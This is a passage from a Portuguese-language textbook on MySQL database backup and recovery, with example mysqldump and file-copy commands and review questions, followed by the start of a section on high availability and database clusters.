O principal objetivo de fazer uma cópia de segurança de um banco de dados


é justamente possibilitar a sua recuperação quando necessário. A partir dessa premissa, é
fundamental elaborar uma estratégia de backup que esteja de acordo com os interesses
da organização.

A estratégia de realizar cópias de segurança de um banco de dados


MySQL, por exemplo, pode levar em consideração diversos fatores. Entre eles,
considere os destacados a seguir.

• O tipo de backup que será executado:


o backups on-line e off-line;
o backups físico e lógico;
o backups completo e incremental;
o backups local e remoto.

• O método de backup que será implantado:


o backup dinâmico;
o backup table files;

60
TÓPICO 1 — BACKUP E RECUPERAÇÃO DE BANCO DE DADOS

o backup de arquivos de texto delimitados;


o backup com replicação em slave;
o backup file system.

• Os agendamentos realizados:
o os dias e os horários em que os backups serão realizados;
o os locais/mídias em que os backups serão armazenados.

• As responsabilidades na equipe:
o como os backups serão executados (rotinas automáticas ou manuais) e
quem os executará;
o quem serão os responsáveis pelo monitoramento da execução dos backups;
o quem está autorizado a solicitar a restauração de um banco de dados;
o quem pode executar a restauração de um banco de dados.

3 BACKUP APLICADO AO BANCO DE DADOS


Realizar backups de bancos de dados é uma atividade muito importante
que requer a definição de uma boa estratégia. Assim, os dados podem ser copiados
e recuperados com integridade e segurança. Essa estratégia de backup envolve uma
variedade de características que podem ser definidas de acordo com os objetivos
de cada organização. A seguir, você verá alguns dos principais métodos de backup
com base nas especificações do banco de dados MySQL (ORACLE, 2019a).

3.1 BACKUPS ON-LINE E OFF-LINE


Um dos principais objetivos de um banco de dados é estar disponível para
receber ou disponibilizar informações. Quando um banco de dados está rodado,
diz-se que ele está on-line; quando ele está parado, diz-se que ele está off-line. Dessa
forma, um backup on-line é caracterizado pela execução de uma cópia de segurança
quando o banco de dados está rodando – backup quente. De outro modo, entende-
se que o backup é off-line quando o banco de dados está parado – backup frio.

O backup on-line permite que os usuários continuem acessando o banco


de dados durante a realização da cópia de segurança. Nesse tipo de backup,
é possível ocorrer modificação de dados durante a execução, o que pode
comprometer a integridade do backup. Nesse caso, pode ser necessário realizar
bloqueios de gravação, permitindo apenas a leitura de dados durante a execução
do backup – backup consistente.

Se os bloqueios não forem executados durante a realização de um backup


quente, o backup poderá conter dados inconsistentes, pois armazenará informações
desatualizadas. Nesse caso, os arquivos de logs de transações poderão ser usados
no caso de uma restauração de banco de dados.

61
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

Já o backup off-line é realizado com o banco de dados parado, impedindo


qualquer acesso aos dados durante a realização. Essa opção deve levar em
consideração a execução de backups em horários em que os usuários não precisam
acessar o banco de dados. No entanto, pode ser uma boa opção quando os dados
já são replicados em um servidor slave e o backup frio é realizado neste servidor,
pois assim as informações ficam disponíveis por meio do servidor principal.

3.2 BACKUPS FÍSICO E LÓGICO


O backup físico ou bruto é caracterizado pela cópia dos arquivos e pastas
do banco de dados a partir de sua localização física no servidor onde ele está
armazenado. Esse tipo de backup é adequado para grandes bancos de dados ou
para os casos em que um banco de dados precisa ser restaurado rapidamente.

O nível de compactação dos dados copiados e a velocidade de execução


e/ ou restauração do backup físico são bastante superiores aos do backup lógico.
Além disso, o backup bruto pode conter também arquivos de logs binários – logs
de transações e de configuração de banco de dados. Já um backup lógico salva
a estrutura do banco de dados e as informações nele armazenadas por meio de
instruções SQL gravadas em arquivos. Esse modo de backup é normalmente
indicado para pequenas e médias bases de dados, pois a gravação da cópia de
segurança e a sua recuperação podem ser mais demoradas.

Por meio de instruções específicas, o backup lógico permite que apenas


determinados bancos de dados ou partes de algum banco de dados sejam
copiadas de maneira independente, podendo selecionar determinadas tabelas
individualmente. No entanto, o backup lógico não permite realizar a cópia de
arquivos de logs de transações e de configuração.

NOTA

Tabelas Memory do MySQL não são armazenadas fisicamente no banco de


dados. Portanto, normalmente não são copiadas pelo backup físico, pois essas tabelas são
armazenadas na memória RAM do servidor. Existem ferramentas do MySQL que permitem
a sua cópia em backups físicos.

62
TÓPICO 1 — BACKUP E RECUPERAÇÃO DE BANCO DE DADOS

3.3 BACKUPS COMPLETO E INCREMENTAL


O backup completo (full) é responsável por realizar uma cópia total do
banco de dados de uma organização. Executar o backup full pode parecer uma
boa solução. No entanto, produzir diariamente essas cópias de segurança pode
requerer muito espaço em disco, bem como levar bastante tempo. Por isso, pode
não ser possível executar backups completos diariamente.

Os backups incrementais permitem copiar apenas os dados modificados


desde a realização do último backup completo executado. Para isso, utilizam-se
os logs de transações dos bancos de dados para identificar quais modificações
ocorreram, como registros incluídos, alterados e excluídos, estruturas de tabelas
editadas etc.

Devido ao pequeno tamanho dos arquivos de logs de transações em


relação ao backup completo, é possível fazer backup diariamente desses arquivos,
criando uma espécie de cadeia de backups incrementais que, se adicionados ao
último backup full, restauram um banco de dados ao estado atual.

Os backups completo e incremental são uma boa alternativa de cópia de


segurança de banco de dados, pois unem os benefícios dos backups físico e lógico
em uma única solução. Essa é uma das alternativas de backup mais utilizadas
pelas grandes organizações.

E
IMPORTANT

Uma orientação importante é manter o banco de dados e os backups em


dispositivos separados. Caso isso não aconteça, se o dispositivo que contém o banco de
dados falhar, os backups vão ficar indisponíveis (RAY et al., 2018).

3.4 ARQUIVOS DE LOG DE TRANSAÇÕES – LOGS BINÁRIOS


DO MYSQL
Os logs de transações são um conjunto de arquivos individuais numerados
que contêm as informações sobre as alterações que foram realizadas – eventos de
bancos de dados. Esses logs são importantes para os backups, pois possuem as
modificações que foram realizadas no banco de dados desde o último backup
completo executado.

63
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

No banco de dados MySQL, os arquivos de log de transações podem ser


armazenados em três formatos, que podem ser definidos pelo administrador
do banco de dados (DataBase Administrator [DBA]) por meio de instruções
específicas. A opção padrão do banco de dados depende da versão do MySQL
que estiver rodando no servidor (ORACLE, 2019b). Veja a seguir.

• Log baseado em instrução: registra no arquivo de log as instruções SQL que


foram executadas.
• Log baseado em linha: indica qual linha da tabela foi modificada no arquivo
de log.
• Log de base mista: utiliza por padrão o log baseado em instrução, porém
se modifica automaticamente para o modo baseado em linha em algumas
operações.

3.5 BACKUP COM REPLICAÇÃO EM SLAVE


Manter a disponibilidade de seus bancos de dados pode ser um
requisito necessário em determinadas organizações. Uma forma de garantir a
disponibilidade é manter um servidor de banco de dados slave que contém os
dados do banco de dados principal.

O banco de dados slave normalmente fica armazenado em outro servidor.


Conforme a política de replicação implementada pelo DBA, ele receberá os
arquivos de logs de transações para atualizar todas as modificações que foram
realizadas no banco de dados principal.

No caso de uma pane no servidor principal do banco de dados, o banco de


dados slave assume a continuidade dos serviços com os dados atualizados desde
a última replicação dos logs de transações. Além disso, o banco de dados slave
permite realizar backups on-line sem interromper as operações de gravação dos
usuários. Nesse caso, ele suspenderá apenas as operações de atualização dos logs,
pois os usuários continuarão a usar o servidor principal.

A Figura 1 mostra um modelo de replicação com servidor slave a partir de


logs de transações com base nos arquivos binários de log do MySQL.

64
TÓPICO 1 — BACKUP E RECUPERAÇÃO DE BANCO DE DADOS

FIGURA 1 – BACKUP COM REPLICAÇÃO EM BANCO DE DADOS SLAVE

FONTE: Adaptado de Viana (2011)

Os arquivos de log de transações do servidor principal são copiados para


o servidor do banco de dados slave em intervalos predeterminados. O servidor
slave atualiza o seu banco de dados e registra no servidor principal os logs que já
foram atualizados.

3.6 BACKUP EM BANCO DE DADOS POR LINHAS DE


COMANDO
Para que você veja como funciona a execução de scripts de backup, será
utilizado aqui o banco de dados MySQL. Esse banco de dados pode ser baixado
gratuitamente.

DICAS

Acesse o link “https://qrgo.page.link/1dSq” para fazer o download do MySQL.


Clique na guia Downloads e, em seguida, na opção MySQL Community Edition. O download
pode ser efetuado por meio da opção MySQL Community Server.

Após efetuar o download e realizar a instalação, acesse a subpasta bin em


que o MySQL foi instalado por meio de uma janela de prompt de comando, como
mostra a Figura 2. Digite a seguinte instrução para acessar o banco de dados:

mysql -uroot -p

65
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

FIGURA 2 – LOGIN NO MYSQL

FONTE: O autor

Após confirmar a senha definida na instalação, você vai ver a mensagem


“Welcome to the MySQL monitor”.

E
IMPORTANT

Algumas ferramentas integradas de desenvolvimento de software, como o


XAMPP, distribuem o banco de dados MariaDB em vez do MySQL. No entanto, esses bancos
de dados são compatíveis e compartilham as mesmas instruções.

A instrução show databases permite verificar quais bancos de dados estão


instalados no servidor MySQL. Coloque ponto e vírgula no final para confirmar
o encerramento do comando, como mostra a Figura 3.

FIGURA 3 – LISTAGEM DOS BANCOS DE DADOS DO SERVIDOR MYSQL

FONTE: O autor

Entre com a instrução exit; para sair do MySQL e retornar ao prompt de


comando, como mostra a Figura 4.

66
TÓPICO 1 — BACKUP E RECUPERAÇÃO DE BANCO DE DADOS

FIGURA 4 – SAÍDA DO MYSQL E RETORNO AO PROMPT DE COMANDO

FONTE: O autor

3.7 BACKUP LÓGICO POR MYSQLDUMP


Se você estiver no prompt de comando, pode realizar backups por meio
de linhas de comando ou scripts. A execução de um backup lógico pode ser
realizada com o auxílio do arquivo mysqldump.exe, localizado na pasta bin da
instalação do MySQL.

As seguintes instruções apresentam algumas opções de backup. No entanto,


uma relação completa de opções pode ser obtida em MySQL (ORACLE, 2019c).

• Determinado banco de dados: mysqldump [database] > database.sql


• Determinados bancos de dados: mysqldump [db1] [db2] > databases.sql
• Todos os bancos de dados do servidor, incluindo triggers, stored procedures
e todos os registros: mysqldump –all-datgabases > all _ databases _ completo.
sql
• Determinada tabela de um banco de dados: mysqldump [database] [table] >
table _ database.sql
• Apenas a estrutura de um banco de dados: mysqldump [database] --no-data
> database _ estrutura.sql
• Backup consistente com bloqueio de tabelas: mysqldump [database] --lock-
all-tables > database _ consistente.sql

Veja um exemplo de realização de backup lógico com bloqueio de


tabelas do banco de dados test, incluindo as opções de cópia de triggers e stored
procedures do MySQL:

mysqldump test -R -E –lock-all-tables > test.sql

Nenhuma mensagem é exibida na tela, o que significa que o backup foi


realizado com sucesso. Como nenhuma pasta foi informada, o backup gerou o
arquivo test.sql na mesma pasta em que o arquivo foi executado.

67
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

E
IMPORTANT

É possível passar o usuário e senha para o mysqldump realizar o backup em


apenas uma linha de comando. Isso é útil quando o backup é realizado por scripts. No
entanto, você precisa se certificar de que o usuário indicado possui privilégios suficientes
no banco de dados.

3.8 BACKUP COMPLETO E INCREMENTAL


Existem ferramentas específicas do MySQL, como o MySQL Enterprise
Backup, que auxiliam na execução de backups para diversas plataformas. No
entanto, de forma mais simplificada, o backup completo pode ser realizado pela
cópia e/ou compactação dos arquivos de banco de dados da pasta mysql/data/
nome_banco_de_dados. Observe a Figura 5.

FIGURA 5 – ARQUIVOS DO BANCO DE DADOS TESTE

FONTE: O autor

Os seguintes comandos compactam e copiam o banco de dados para


outro local, que pode ser uma unidade de fita ou outro servidor. Em seguida, o
arquivo compactado é excluído. Para copiar os arquivos, é preciso parar o serviço
MySQL. Caso contrário, haverá erro de violação de compartilhamento para
copiar os arquivos das tabelas do banco de dados. No exemplo a seguir, a cópia é
realizada após a compactação por meio do utilitário 7z.exe.

7z a -tzip backup _ full _ test.zip *.*

copy backup _ full _ test.zip \ servidor\compartilhamento


del backup _ full _ test.zip

68
TÓPICO 1 — BACKUP E RECUPERAÇÃO DE BANCO DE DADOS

Para utilizar o método de backup incremental do MySQL, é preciso


habilitar o log de transações de arquivos binários. Para habilitar o log, acesse o
arquivo bin/mysql.ini e retire o caractere # do início da linha log-bin=mysql-bin,
como mostra a Figura 6.

FIGURA 6 – HABILITAÇÃO DOS ARQUIVOS DE LOGS BINÁRIOS DO MYSQL

FONTE: O autor

Reinicie o banco de dados para que a alteração tenha efeito. A partir


desse ponto, todas as operações realizadas no banco de dados serão gravadas
em arquivos de log, numerados sequencialmente. Esses arquivos podem ser
visualizados na pasta mysql/data, ou o arquivo de log atual pode ser identificado
por meio da instrução SHOW MASTER STATUS; (Figura 7).

FIGURA 7 – ARQUIVO DE LOG BINÁRIO ATUAL DO MYSQL

FONTE: O autor

Assim que o serviço do MySQL for parado, o arquivo de log binário será
fechado. Um novo arquivo será aberto quando o MySQL for iniciado novamente.
A partir disso, o backup dos arquivos de log binário pode ser realizado da mesma
maneira que são realizados os backups completos. A única diferença está na
localização e no nome dos arquivos.

69
RESUMO DO TÓPICO 1
Neste tópico, você aprendeu que:

• Falhas em discos rígidos podem proporcionar a corrupção das informações


armazenadas em áreas danificadas dessas mídias. Dados inconsistentes,
duplicados ou excluídos envolvem erros de lançamento por parte dos
usuários ou analistas que executam operações nos bancos de dados; e dados
inacessíveis se referem à indisponibilidade temporária de informações, sem
afetar os dados armazenados.

• Quem irá executar os backups e como eles serão executados são as


responsabilidades da equipe, definidas pela estratégia de backup. O tipo, o
método, os agendamentos e a restauração são as opções e as ações que essa
equipe tomará para executar os backups.

• A opção de realizar backup de banco de dados sem restringir o acesso aos


usuários é o backup on-line ou quente.

• O espelhamento entre servidores de banco de dados é realizado por meio de


backups dos logs binários (backups incrementais) em determinados intervalos
de tempo.

• Os backups lógicos e a cópia completa não fazem uso dos logs de arquivos
binários.

• No MySQL, a instrução utilizada para recuperar um backup lógico é mysql.

• A instrução mysqldump cria um backup lógico, mysqlbinlog restaura backups


incrementais e as instruções mysqlroot e mysqlrecovery não são válidas para
recuperar backups.

• Os arquivos de log binário permitem restaurar um banco de dados pelo


método de recuperação incremental.

70
AUTOATIVIDADE

1 As informações dos bancos de dados podem ser perdidas mediante


ocorrência de diversos eventos adversos. Considerando um evento de falha
nos discos rígidos de um servidor de banco de dados, assinale a alternativa
CORRETA que representa os problemas que podem surgir:

a) ( ) Dados duplicados.
b) ( ) Dados inconsistentes.
c) ( ) Dados corrompidos.
d) ( ) Dados inacessíveis.

2 Uma das vantagens de armazenar as informações em bancos de dados é


justamente ter os dados disponíveis para os usuários. No entanto, bancos
de dados são armazenados em equipamentos que podem estar sujeitos
à indisponibilidades de acesso. Considerando essa situação, assinale
a alternativa CORRETA que representa uma solução de prevenção de
indisponibilidade do banco de dados:

a) ( ) Hospedar o banco de dados na nuvem.


b) ( ) Utilizar um banco de dados de alto desempenho.
c) ( ) Deixar uma equipe de plantão 24 horas por dia, sete dias por semana.
d) ( ) Executar backup do banco de dados em mídia armazenada em outro
servidor.

3 As diversas opções para a execução de cópias de segurança fazem parte


da estratégia de backups que deverá ser definida pela organização de
acordo com os seus interesses, objetivos e recursos disponíveis. Com base
na definição de quem executará os backups e como eles serão executados,
assinale a alternativa CORRETA:

a) ( ) O tipo de backup que será executado.


b) ( ) O método de backup que será implantado.
c) ( ) Os agendamentos que serão realizados.
d) ( ) As responsabilidades da equipe.

4 Os diversos tipos de backups existentes definem as opções de realizar


cópias de segurança de acordo com a estratégia de backups implantada em
cada organização. Considerando a realização de um backup sem restringir
o acesso ao banco de dados, assinale a alternativa CORRETA que representa
esse tipo de backup:

a) ( ) Backup on-line.
b) ( ) Backup ativo.
c) ( ) Backup full time.
d) ( ) Backup faster.

71
5 O banco de dados MySQL possui uma ferramenta bastante conhecida para
realizar backups lógicos. Essa ferramenta é denominada mysqldump e tem
diversas opções de parâmetros. Acerca do que representa a execução de um
backup apenas para a tabela usuário de um banco de dados denominado
db_pedido, em que a saída deve ser um arquivo nomeado como “bkp_
usuario.sql”, assinale a alternativa CORRETA:

a) ( ) mysqldump db_pedido usuario > bkp_usuario.sql.


b) ( ) mysqldump usuario db_pedido > bkp_usuario.sql.
c) ( ) mysqldump db_pedido > usuario > bku_usuario.sql.
d) ( ) mysqldump usuario bkp_usuario > db_pedido.sql.

72
TÓPICO 2 —
UNIDADE 2

ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA


EM BANCO DE DADOS

1 INTRODUÇÃO
Um sistema de banco de dados pode falhar por diversos fatores, tornando
indisponíveis as aplicações essenciais para uma organização. Por isso, a alta
disponibilidade (HA) é uma característica essencial pela qual, atualmente, as
organizações prezam. Para isso, são adotadas diferentes configurações para banco
de dados e recursos, com o intuito de fornecer proteção ao sistema contra falhas,
garantindo melhor desempenho e evitando que interrupções sejam geradas,
diminuindo o tempo de indisponibilidade causada ao banco de dados devido a
esses fatores.

Atualmente, um banco de dados possibilita introduzir e controlar


qualquer informação por meio de qualquer sistema, atendendo às necessidades
de organizações em qualquer segmento operacional com base no nível de proteção
e custos estabelecidos.

A alta disponibilidade trouxe a possibilidade de dados acessíveis pelo


maior tempo possível. No entanto, essa vantagem e os benefícios que ela trouxe
dependem da forma como essas informações são gerenciadas para trazer a
disponibilidade total dos recursos de forma benéfica ao negócio.

Acompanhe a seguir informações importantes a serem consideradas para


evitar a indisponibilidade de um sistema de banco de dados.

FIGURA 8 – ASPECTOS DA ALTA DISPONIBILIDADE EM BANCOS DE DADOS

73
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

74
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

FONTE: O autor

Temos que ter em mente que, diariamente, cada organização utiliza e


armazena milhares de informações, arquivos essenciais e necessários para manter
a estratégia do negócio, de modo a garantir que as informações se mantenham
disponíveis de maneira confiável e segura.

Para um administrador de banco de dados, a principal responsabilidade se


define em manter os dados armazenados, assegurando a continuidade do negócio
e prevenindo que falhas tragam como consequência a indisponibilidade do banco
de dados. Por isso, boas práticas e técnicas que permitam a implementação da alta
disponibilidade em um sistema de banco de dados são frequentemente utilizadas.
Veja a seguir como configurar um cluster failover no SQL Server 2014.

FIGURA 9 – CONSTRUINDO UM CLUSTER DE FAILOVER DO SQL NO WINDOWS SERVER

75
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

76
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

77
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

78
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

79
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

FONTE: O autor

Um sistema de banco de dados de alta disponibilidade se caracteriza como


um sistema resistente a falhas, que esteja disponível na maior parte do tempo.
Assim, ele deve permitir o acesso aos conjuntos de arquivos armazenados, que
são de vital importância para a organização.

Neste tópico, apresentaremos como é possível manter a alta disponibilidade


em bancos de dados, bem como os riscos que podem afetá-la. Além disso, você,
acadêmico, verá soluções que podem ser aplicadas a fim de garantir as suas
funcionalidades e a alta disponibilidade das informações.

2 AMEAÇAS À DISPONIBILIDADE EM BANCO DE DADOS


Geralmente, um banco de dados é responsável pelo armazenamento de
dados e informações de diversas aplicações utilizadas pelas organizações, desde
dados rotineiros até dados de missão crítica. Logo, a sua indisponibilidade
pode prejudicar a continuidade do negócio, causando interrupção nos serviços
essenciais aos quais as informações estão atribuídas.

Nesse sentido, o baixo desempenho e a indisponibilidade de um banco de


dados podem gerar diversas consequências, causando dificuldade no acesso às
informações. Esses fatores prejudiciais a um banco de dados têm como consequência
a indisponibilidade total ou parcial do serviço, tornando impossível que qualquer
informação contida no banco de dados seja acessada até que o problema e a sua
causa inicial sejam contornados. Em casos em que o desempenho é considerado
inaceitável, os usuários também podem ficar impossibilitados de acessar o banco
de dados – esse cenário também é considerado uma indisponibilidade no banco
de dados.

Muitos são os riscos e as causas da indisponibilidade em um banco de


dados. Uma delas é o problema de comunicação entre o servidor e o banco de
dados, resultante de alguma falha na conexão de internet, por exemplo, ou
problemas de hardware específicos que possam causar a indisponibilidade do
servidor de banco de dados, cortando a relação entre as aplicações e o banco.
Outros riscos existentes afetam o banco de dados de forma direta, mas podem ser
resolvidos utilizando a alta disponibilidade aplicada ao banco de dados.

80
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

Por isso, para evitar problema de indisponibilidade do banco de dados,


é necessário que o levantamento dos riscos seja levado a sério, assim como a
mitigação e o planejamento. Eles devem permitir a recuperação dos dados, caso
seja necessário, incluindo uma análise criteriosa dos riscos, prevenção e controle
constante de qualquer fator que possa afetar e prejudicar o serviço. Há alguns
riscos mais comuns, que devem ser levados em consideração (TECLOGICA, 2017).
O primeiro deles é a manutenção do banco de dados, que é essencial. No entanto,
infelizmente, muitas organizações não realizam verificações preventivas de forma
constante, a fim de garantir que a integridade dos dados seja mantida. Muitas delas
mantêm ainda uma única instância, e esse é o principal risco de indisponibilidade
para um banco de dados: em caso de testes, atualizações, aplicação de patches e/ou
reinicialização do serviço, ele se torna imediatamente indisponível.

NOTA

Considere um servidor web que hospeda múltiplos sites de um cliente, com


um sistema de banco de dados isolado desse servidor, armazenando a base de dados
de cada site no mesmo disco local. No entanto, como o administrador não realiza
manutenções periódicas nem mantém uma rotina de backup e monitoramento de forma
correta, o banco de dados acabou ficando indisponível por ter gerado um gargalo no
armazenamento com os logs. Pelo fato de funcionar em uma instância única, acabou
ficando indisponível sem previsão de retorno, deixando todos os sites indisponíveis, sem
acesso às bases de dados, até que a restauração do banco fosse realizada, podendo causar
danos financeiros e operacionais ao negócio.

Outro ponto é o dimensionamento do banco de dados, frequentemente


necessário quando o ambiente recebe alto índice de demandas. Nesse contexto,
ele necessita de adaptações aos seus recursos de forma a atender aos inúmeros
acessos de usuários, como espaço em disco, quantidade de memória, configurações
específicas de banco de dados, limpeza de cache, gerenciamento de sessões
abertas que não estão em uso etc. Por esse motivo, especialistas e administradores
de banco de dados geralmente dedicam algum tempo para aplicar técnicas de
tuning (otimização) e customização, de modo a tornar o banco de dados ideal ao
cenário aplicado. Esse dimensionamento, quando não é devidamente planejado,
pode causar indisponibilidade do sistema.

Da mesma forma, utilizar produtos não licenciados também pode gerar


grandes problemas. Alguns exemplos são limitação de recursos, quando se
utiliza uma versão gratuita ou não licenciada do software; inexistência de suporte
por parte do fabricante para correção de bugs e dúvidas sobre configurações do
produto; suspensão de uso do serviço por falta de licença adequada, causando
indisponibilidade total.

81
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

Além disso, mesmo que um banco de dados possua políticas de segurança


e rotinas de backups configuradas, que garantam que os dados possam ser
salvos e restaurados quando necessário, o risco de indisponibilidade do sistema
ainda existe. Nesse sentido, cada modelo de negócio suporta um tempo definido
de recuperação, sem que seja financeiramente prejudicado. Por isso, se um
ambiente utiliza ferramentas de backup e restauração de dados, esses recursos
podem exceder o tempo de recuperação aceitável, sendo prejudicial para uma
organização. Considerando isso, disponibilidade e alta disponibilidade ficam
claramente diferenciadas.

NOTA

Considere que uma empresa armazena todas as informações da sua aplicação


financeira em um servidor de banco de dados, em que dezenas de funcionários realizam
acesso, utilizando o mesmo sistema, de forma simultânea. Além disso, todo o histórico
financeiro dos últimos três anos está armazenado nessa base, assim como o registro de
todas as vendas realizadas pelo setor comercial.
O analista aplicou uma boa rotina de backups em que os dados são armazenados de forma
local no disco C do servidor, que acabou apresentando problemas nos setores em que os
dados estão gravados. Dessa forma, todos os dados foram perdidos, e os funcionários não
conseguem mais se conectar à aplicação, além de não ser possível recuperar os dados.
Isso não teria ocorrido se soluções de alta disponibilidade fossem aplicadas para manter a
integridade e a disponibilidade total do banco utilizado.

A ausência de monitoramento regular do banco de dados e do seu


crescimento pode fazê-lo chegar ao gargalo do seu armazenamento e ficar fora
do ar. Por isso, investir em ferramentas de monitoramento e segurança é uma
tarefa essencial, visto que um servidor de banco de dados é um ativo sensível,
envolvido diretamente na estratégia de negócio de qualquer organização. Nesse
cenário, ataques, roubo de informações e acesso indevido podem ser totalmente
prejudiciais.

Outros riscos são os problemas na base de dados, que são causados por
erros humanos. Entre eles, estão a execução de algum comando prejudicial aos
dados, a alteração de tabelas e registros indevidos, que geram erros nas consultas
e no funcionamento do banco durante a sua operação, bem como falhas no sistema
de armazenamento. Enfim, como você viu, muitos riscos e ameaças podem
derrubar um sistema de banco de dados, causando um grande desastre quando
recursos de redundância e alta disponibilidade não estão aplicados ao ambiente.

82
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

3 TÉCNICAS UTILIZADAS NA ALTA DISPONIBILIDADE DE BANCO


DE DADOS
Atualmente, é possível implementar um servidor de banco de dados
contendo diversos nós, que aumentam o nível de disponibilidade alcançada. No
entanto, muitas vezes o investimento necessário para garantir a alta disponibilidade
via hardware e equipamentos específicos é elevado, e aplicar alta disponibilidade
somente em nível de sistema operacional nem sempre é suficiente. Por isso, a alta
disponibilidade aplicada em nível de banco de dados pode ser adotada. Nesse
sentido, diversas tecnologias que garantem disponibilidade ao banco de dados
de uma empresa podem ser adaptadas a sua necessidade.

Quando uma base de dados é mantida localmente, deve-se ter certeza


de que qualquer alteração é gravada em disco, mantendo os logs gravados de
forma síncrona. No entanto, diversas técnicas permitem que a confiabilidade e a
alta disponibilidade sejam agregadas aos servidores de banco de dados – como
os clusters, que utilizam armazenamento compartilhado entre os nós. Schmidt
(2006) afirma que essa opção é viável para ambientes compostos por servidores
que não hospedam um banco de dados rápido o suficiente. Isso permite que
diversas instâncias trabalhem em conjunto, fornecendo uma visão consistente de
um único banco para qualquer usuário que mantenha uma conexão ativa.

Geralmente, o tempo de recuperação para a normalização de um banco


de dados que apresenta falha varia de acordo com o tamanho do banco e as
alterações necessárias para que o estabelecimento desse serviço seja realizado. O
tempo de recuperação deve ser levado em conta, considerando a definição dos
níveis de serviços estabelecidos, do nível técnico da equipe especializada e da
checagem dos serviços. Contudo, o uso de cluster é eficiente na maioria dos casos.
Logo, um sistema utilizado com a finalidade de gerenciar bancos de dados pode
utilizar diversas técnicas de modo a eliminar pontos únicos de falha (Single Point
Of Failure – SPOF) para cada um dos componentes do seu sistema.

Quando um cluster é aplicado, em geral, pelo menos dois servidores –


denominados nós – estes são responsáveis por manter um único recurso trabalhando
em conjunto, monitorando um ao outro e garantindo que, em caso de falhas na
instância principal, a secundária entre em funcionamento de forma imediata. Nesse
caso, o recurso é movido automaticamente e segue funcionando como se nada
tivesse acontecido, mantendo a interação do banco de dados com a aplicação.

Durante a transição de um servidor para o outro, o banco de dados não


tem o entendimento de que foi movido e segue hospedado por um servidor
completamente diferente. Para isso, todos os servidores se conectam à cadeia de
dados, utilizando um identificador exclusivo na rede, que passa a ser assumido
pelo servidor ativo sempre que uma falha ocorre. Isso se dá porque, apesar de cada
servidor manter a sua identificação de forma independente na rede (endereço IP),
o cluster é identificado por um endereço lógico que identifica o agrupamento de
nó. Veja a ilustração disso na Figura 10.
83
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

FIGURA 10 – ENDEREÇO LÓGICO DO BANCO DE DADOS

FONTE: O autor

A seguir, você conhecerá algumas técnicas disponíveis para a


implementação de alta disponibilidade do banco de dados. Schmidt (2006)
afirma que os clusters de banco de dados exigem experiência para que as
organizações consigam introduzir e manter essa tecnologia na sua infraestrutura,
em vez de gerenciar falhas recorrentes manualmente. Nesse caso, há falhas que
podem causar lentidão nos processos do servidor, recuperando erros de forma
automática, desde ações mais simples (como a reinicialização do serviço) até a
necessidade mais complexa de realizar a mudança entre o uso de um sistema
para outro. Um cluster de banco de dados é ideal para a recuperação de desastres
de forma eficiente.

• Cluster de banco de dados com armazenamento compartilhado

Esse modelo geralmente é utilizado em cenários que não permitem


qualquer espera entre a troca de servidores ou o restabelecimento de serviço (isto
é, o tempo precisa ser imperceptível) ou em casos em que o servidor não apresenta
desempenho suficiente para se recuperar de forma rápida. Nesse caso, uma opção
é a instalação de RDBMS (banco de dados relacional), que armazenam os dados
e fornecem acesso aos pontos relacionados entre si, em geral representando
os dados com o uso de tabelas que se conectam via registros específicos. Elas
funcionam em conjunto, fornecendo uma percepção de que um banco único está
em funcionamento, compartilhando um dispositivo de armazenamento de dados
persistente e garantindo que a comunicação entre os clusters funcione de forma
sincronizada.

Nesse cenário, todos os nós garantem que dados e cache sejam atualizados
ao mesmo tempo. Veja o funcionamento do cluster de banco de dados com
armazenamento compartilhado ilustrado na Figura 11.

84
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

FIGURA 11 – CLUSTER COM ARMAZENAMENTO COMPARTILHADO DE BANCO DE DADOS

FONTE: Adaptado de Schmidt (2006)

o Cache: quando problemas de reinicialização ocorrem no nó ou quando


o servidor de banco de dados não é rápido o suficiente para que a troca
entre os nós ocorra, várias instalações RDBMS são capazes de trabalhar
juntas. Assim, a visão de um computador cliente que acessa a aplicação
é de um único banco de dados, garantindo que todas as instalações
funcionem como a mesma instância de banco de dados; compartilhando
o armazenamento de dados persistente. Logo, comunicam-se em todos os
nós do cluster e garantem que todo o cache dos nós esteja atualizado.
o Transações: quando ocorre uma interrupção, as transações confirmadas
não são perdidas, mas transações que estavam em andamento voltam ao
início. Nesse caso, o usuário perde o estado em que estava trabalhando
e precisa refazer o trabalho. No entanto, quando um nó falha, não existe
tempo de failover para esse modelo de cluster, e os nós passam a responder
às solicitações imediatamente.
o Servidores de aplicação: são componentes prontos para uso, sendo uma
estrutura completa para implementação de aplicativos que fazem uso do
banco de dados. Um servidor de aplicativo é responsável pela sua interface
com os computadores clientes, replicando os dados armazenados nos
bancos de dados correspondentes.
o Armazenamento de dados compartilhados: o armazenamento nesse tipo
de cluster é compartilhado, e geralmente são utilizados dispositivos em
